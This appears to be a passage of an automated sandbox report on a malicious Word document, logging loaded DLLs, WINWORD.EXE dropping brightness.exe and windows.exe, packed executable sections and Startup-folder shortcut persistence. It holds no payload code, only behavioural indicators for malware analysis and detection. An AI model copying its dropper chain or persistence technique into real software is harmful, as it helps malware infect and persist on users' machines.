Source: C:\ProgramData\windows\windows.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: msi.dll
Source: C:\Windows\explorer.exe	Section loaded: winmm.dll
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: linkinfo.dll
Source: C:\Windows\explorer.exe	Section loaded: ntshrui.dll
Source: C:\Windows\explorer.exe	Section loaded: cscapi.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: winmm.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: wtsapi32.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: msi.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: dbghelp.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: dbgcore.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: secur32.dll
Source: C:\ProgramData\windows\windows.exe	Section loaded: sspicli.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32

Jump to behavior

Source: {CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}.lnk.15.dr

LNK file: ..\..\..\..\..\..\..\..\..\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Windows\SysWOW64\brightness.exe	Unpacked PE file: 5.2.brightness.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W;qgnauohf:EW;luhkmkvw:EW; vs :ER;.rsrc:W;.idata :W;qgnauohf:EW;luhkmkvw:EW;
Source: C:\ProgramData\windows\windows.exe	Unpacked PE file: 9.2.windows.exe.920000.0.unpack :EW;.rsrc:W;.idata :W;qgnauohf:EW;luhkmkvw:EW; vs :ER;.rsrc:W;.idata :W;qgnauohf:EW;luhkmkvw:EW;
Source: C:\ProgramData\windows\windows.exe	Unpacked PE file: 21.2.windows.exe.920000.0.unpack :EW;.rsrc:W;.idata :W;qgnauohf:EW;luhkmkvw:EW; vs :ER;.rsrc:W;.idata :W;qgnauohf:EW;luhkmkvw:EW;

Source: C:\Windows\explorer.exe

Code function: 15_2_02E687C0 LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddressForCaller,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryExW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryExW,GetProcAddress,GetProcAddress,LoadLibraryExW,GetProcAddress,GetProcAddress,LoadLibraryExW,GetProcAddress,GetProcAddress,LoadLibraryExW,GetProcAddressForCaller,GetProcAddress,LoadLibraryExW,GetProcAddress,GetProcAddress,LoadLibraryExW,GetProcAddress,GetProcAddress,

15_2_02E687C0

Source: initial sample

Static PE information: section where entry point is pointing to: luhkmkvw

Source: brightness.exe.0.dr	Static PE information: section name:
Source: brightness.exe.0.dr	Static PE information: section name: .idata
Source: brightness.exe.0.dr	Static PE information: section name: qgnauohf
Source: brightness.exe.0.dr	Static PE information: section name: luhkmkvw
Source: windows.exe.5.dr	Static PE information: section name:
Source: windows.exe.5.dr	Static PE information: section name: .idata
Source: windows.exe.5.dr	Static PE information: section name: qgnauohf
Source: windows.exe.5.dr	Static PE information: section name: luhkmkvw

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F7887 push esp; ret	5_2_002F788E
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F48CF push esp; ret	5_2_002F48D6
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002EB1A5 push ecx; ret	5_2_002EB1B8
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F29B7 push esp; ret	5_2_002F29BE
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F498F push esp; ret	5_2_002F4996
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F3193 push esp; ret	5_2_002F319A
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F4A43 push esp; ret	5_2_002F4A4A
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F74C3 push esp; ret	5_2_002F74CA
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F757F push esp; ret	5_2_002F7586
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F762F push esp; ret	5_2_002F7636
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F262B push esp; ret	5_2_002F2632
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F6E6B push esp; ret	5_2_002F6E72
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F76E7 push esp; ret	5_2_002F76EE
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F472F push esp; ret	5_2_002F473A
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F27B3 push esp; ret	5_2_002F27BA
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002F779B push esp; ret	5_2_002F77A2
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00957887 push esp; ret	9_2_0095788E
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009548CF push esp; ret	9_2_009548D6
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00953193 push esp; ret	9_2_0095319A
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0095498F push esp; ret	9_2_00954996
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009529B7 push esp; ret	9_2_009529BE
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0094B1A5 push ecx; ret	9_2_0094B1B8
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00954A43 push esp; ret	9_2_00954A4A
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009574C3 push esp; ret	9_2_009574CA
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0095757F push esp; ret	9_2_00957586
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009576E7 push esp; ret	9_2_009576EE
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0095762F push esp; ret	9_2_00957636
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0095262B push esp; ret	9_2_00952632
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00956E6B push esp; ret	9_2_00956E72
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0095779B push esp; ret	9_2_009577A2
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_009527B3 push esp; ret	9_2_009527BA

Source: brightness.exe.0.dr	Static PE information: section name: entropy: 6.934159875324259
Source: windows.exe.5.dr	Static PE information: section name: entropy: 6.934159875324259

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Executable created and started: C:\Windows\SysWOW64\brightness.exe

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	File created: C:\Windows\SysWOW64\brightness.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\brightness.exe	File created: C:\ProgramData\windows\windows.exe			Jump to dropped file

Source: C:\Windows\SysWOW64\brightness.exe

File created: C:\ProgramData\windows\windows.exe

Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}.lnk

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}.lnk

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\explorer.exe

15_2_02E687C0

Source: C:\Windows\SysWOW64\brightness.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\{0D6172E3-C310-454B-A566-1C3CE2B77AB5} {30B65D11-E9AA-4938-8C03-D48010908173}

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
